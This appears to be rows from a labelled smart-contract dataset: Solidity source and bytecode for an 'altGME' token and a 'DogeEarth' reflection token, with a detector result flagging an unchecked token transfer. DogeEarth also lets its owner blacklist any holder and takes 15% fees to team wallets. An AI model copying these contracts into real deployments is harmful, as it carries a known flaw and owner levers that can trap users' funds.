using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
constructor () public ERC20Detailed("altGME | AltStreet.io", "altGME", 18) {
addOwner(msg.sender);
addBalance(msg.sender,100000e18); //Initial tokens for Uniswap Liquidity Pool
}
function burn(uint256 amount) public {
_burn(msg.sender, amount);
}
function() external payable {
}
function withdraw() external onlyOwner {
msg.sender.transfer(address(this).balance);
}
function withdrawToken(address tokenAddress) external onlyOwner {
IERC20 Token = IERC20(tokenAddress);
uint256 currentTokenBalance = Token.balanceOf(address(this));
Token.transfer(msg.sender, currentTokenBalance);
}
}
|
0x6080604052600436106100f35760003560e01c80637065cb481161008a57806395d89b411161005957806395d89b4114610387578063a457c2d71461039c578063a9059cbb146103d5578063dd62ed3e1461040e576100f3565b80637065cb48146102d957806370a082311461030c578063715018a61461033f5780638947606914610354576100f3565b8063313ce567116100c6578063313ce5671461023657806339509351146102615780633ccfd60b1461029a57806342966c68146102af576100f3565b806306fdde03146100f5578063095ea7b31461017f57806318160ddd146101cc57806323b872dd146101f3575b005b34801561010157600080fd5b5061010a610449565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014457818101518382015260200161012c565b50505050905090810190601f1680156101715780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018b57600080fd5b506101b8600480360360408110156101a257600080fd5b506001600160a01b0381351690602001356104df565b604080519115158252519081900360200190f35b3480156101d857600080fd5b506101e16104fd565b60408051918252519081900360200190f35b3480156101ff57600080fd5b506101b86004803603606081101561021657600080fd5b506001600160a01b03813581169160208101359091169060400135610503565b34801561024257600080fd5b5061024b610590565b6040805160ff9092168252519081900360200190f35b34801561026d57600080fd5b506101b86004803603604081101561028457600080fd5b506001600160a01b038135169060200135610599565b3480156102a657600080fd5b506100f36105ed565b3480156102bb57600080fd5b506100f3600480360360208110156102d257600080fd5b5035610684565b3480156102e557600080fd5b506100f3600480360360208110156102fc57600080fd5b50356001600160a01b031661068e565b34801561031857600080fd5b506101e16004803603602081101561032f57600080fd5b50356001600160a01b0316610795565b34801561034b57600080fd5b506100f36107b0565b34801561036057600080fd5b506100f36004803603602081101561037757600080fd5b50356001600160a01b031661088f565b34801561039357600080fd5b5061010a6109f2565b3480156103a857600080fd5b506101b8600480360360408110156103bf57600080fd5b506001600160a01b038135169060200135610a53565b3480156103e157600080fd5b506101b8600480360360408110156103f857600080fd5b506001600160a01b038135169060200135610ac1565b34801561041a57600080fd5b506101e16004803603604081101561043157600080fd5b506001600160a01b0381358116916020013516610ad5565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104d55780601f106104aa576101008083540402835291602001916104d5565b820191906000526020600020905b8154815290600101906020018083116104b857829003601f168201915b5050505050905090565b60006104f36104ec610b00565b8484610b04565b5060015b92915050565b60035490565b6000610510848484610bf0565b6105868461051c610b00565b610581856040518060600160405280602881526020016111f6602891396001600160a01b038a1660009081526002602052604081209061055a610b00565b6001600160a01b03168152602081019190915260400160002054919063ffffffff610deb16565b610b04565b5060019392505050565b60065460ff1690565b60006104f36105a6610b00565b8461058185600260006105b7610b00565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff610e8216565b600760006105f9610b00565b6001600160a01b0316815260208101919091526040016000205460ff16610655576040805162461bcd60e51b8152602060048201819052602482015260008051602061121e833981519152604482015290519081900360640190fd5b60405133904780156108fc02916000818181858888f19350505050158015610681573d6000803e3d6000fd5b50565b6106813382610ee3565b6007600061069a610b00565b6001600160a01b0316815260208101919091526040016000205460ff166106f6576040805162461bcd60e51b8152602060048201819052602482015260008051602061121e833981519152604482015290519081900360640190fd5b6001600160a01b03811661073b5760405162461bcd60e51b81526004018080602001828103825260268152602001806111676026913960400191505060405180910390fd5b6040516001600160a01b038216906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a36001600160a01b03166000908152600760205260409020805460ff19166001179055565b6001600160a01b031660009081526001602052604090205490565b600760006107bc610b00565b6001600160a01b0316815260208101919091526040016000205460ff16610818576040805162461bcd60e51b8152602060048201819052602482015260008051602061121e833981519152604482015290519081900360640190fd5b6000610822610b00565b6001600160a01b03167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600060076000610865610b00565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055565b6007600061089b610b00565b6001600160a01b0316815260208101919091526040016000205460ff166108f7576040805162461bcd60e51b8152602060048201819052602482015260008051602061121e833981519152604482015290519081900360640190fd5b604080516370a0823160e01b8152306004820152905182916000916001600160a01b038416916370a08231916024808301926020929190829003018186803b15801561094257600080fd5b505afa158015610956573d6000803e3d6000fd5b505050506040513d602081101561096c57600080fd5b50516040805163a9059cbb60e01b81523360048201526024810183905290519192506001600160a01b0384169163a9059cbb916044808201926020929091908290030181600087803b1580156109c157600080fd5b505af11580156109d5573d6000803e3d6000fd5b505050506040513d60208110156109eb57600080fd5b5050505050565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104d55780601f106104aa576101008083540402835291602001916104d5565b60006104f3610a60610b00565b84610581856040518060600160405280602581526020016112a86025913960026000610a8a610b00565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff610deb16565b60006104f3610ace610b00565b8484610bf0565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610b495760405162461bcd60e51b81526004018080602001828103825260248152602001806112846024913960400191505060405180910390fd5b6001600160a01b038216610b8e5760405162461bcd60e51b815260040180806020018281038252602281526020018061118d6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610c355760405162461bcd60e51b815260040180806020018281038252602581526020018061125f6025913960400191505060405180910390fd5b6001600160a01b038216610c7a5760405162461bcd60e51b81526004018080602001828103825260238152602001806111226023913960400191505060405180910390fd5b60008054829190610ca590606490610c9990859063ffffffff610fdf16565b9063ffffffff61103816565b9050610cb7838263ffffffff61107a16565b9150610cfc836040518060600160405280602681526020016111af602691396001600160a01b038816600090815260016020526040902054919063ffffffff610deb16565b6001600160a01b038087166000908152600160205260408082209390935590861681522054610d31908363ffffffff610e8216565b6001600160a01b038516600090815260016020526040902055600354610d5d908263ffffffff61107a16565b6003556040805183815290516001600160a01b0380871692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a36040805182815290516000916001600160a01b038816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050505050565b60008184841115610e7a5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610e3f578181015183820152602001610e27565b50505050905090810190601f168015610e6c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610edc576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6001600160a01b038216610f285760405162461bcd60e51b815260040180806020018281038252602181526020018061123e6021913960400191505060405180910390fd5b610f6b81604051806060016040528060228152602001611145602291396001600160a01b038516600090815260016020526040902054919063ffffffff610deb16565b6001600160a01b038316600090815260016020526040902055600354610f97908263ffffffff61107a16565b6003556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600082610fee575060006104f7565b82820282848281610ffb57fe5b0414610edc5760405162461bcd60e51b81526004018080602001828103825260218152602001806111d56021913960400191505060405180910390fd5b6000610edc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110bc565b6000610edc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610deb565b6000818361110b5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610e3f578181015183820152602001610e27565b50600083858161111757fe5b049594505050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657245524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a723158209a1c0eab437d8f409bc06c10dce64a6f2a4675d6165cfc41374239a78133666e64736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 8,443 |
0xb13F0A601b2a7835fb2cAB2EbD5E4AB1f97E2FBB
|
// DogeEarth (DogeE)
// Name: DogeEarth
// Symbol: DogeE
// Total Supply: 1,000,000,000,000
// Decimals: 9
// Telegram: https://t.me/dogeearth
// Website: https://dogeearth.work/
// Twitter: https://twitter.com/doge_earth
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract DOGEEARTH is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Doge Earth";
string private constant _symbol = "DogeE \xF0\x9F\x8C\x8E";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (50 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3c565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612edd565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a00565b6105ad565b6040516101a09190612ec2565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb919061307f565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b1565b6105dc565b6040516102089190612ec2565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c11565b60405161024a91906130f4565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7d565b610c1a565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612923565b610ccc565b005b3480156102b157600080fd5b506102ba610dbc565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612923565b610e2e565b6040516102f0919061307f565b60405180910390f35b34801561030557600080fd5b5061030e610e7f565b005b34801561031c57600080fd5b50610325610fd2565b6040516103329190612df4565b60405180910390f35b34801561034757600080fd5b50610350610ffb565b60405161035d9190612edd565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a00565b611038565b60405161039a9190612ec2565b60405180910390f35b3480156103af57600080fd5b506103b8611056565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612acf565b6110d0565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612975565b611219565b604051610417919061307f565b60405180910390f35b6104286112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fdf565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613395565b9150506104b8565b5050565b60606040518060400160405280600a81526020017f446f676520456172746800000000000000000000000000000000000000000000815250905090565b60006105c16105ba6112a0565b84846112a8565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611473565b6106aa846105f56112a0565b6106a5856040518060600160405280602881526020016137b860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c329092919063ffffffff16565b6112a8565b600190509392505050565b6106bd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fdf565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f1f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294c565b6040518363ffffffff1660e01b815260040161095f929190612e0f565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294c565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2e565b600080610a45610fd2565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e61565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af8565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550670de0b6b3a76400006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbb929190612e38565b602060405180830381600087803b158015610bd557600080fd5b505af1158015610be9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0d9190612aa6565b5050565b60006009905090565b610c226112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca690612fdf565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd46112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5890612fdf565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1614610e1d57600080fd5b6000479050610e2b81611c96565b50565b6000610e78600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d91565b9050919050565b610e876112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0b90612fdf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f446f67654520f09f8c8e00000000000000000000000000000000000000000000815250905090565b600061104c6110456112a0565b8484611473565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110976112a0565b73ffffffffffffffffffffffffffffffffffffffff16146110b757600080fd5b60006110c230610e2e565b90506110cd81611dff565b50565b6110d86112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611165576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115c90612fdf565b60405180910390fd5b600081116111a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119f90612f9f565b60405180910390fd5b6111d760646111c983683635c9adc5dea000006120f990919063ffffffff16565b61217490919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120e919061307f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611318576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130f9061303f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137f90612f5f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffff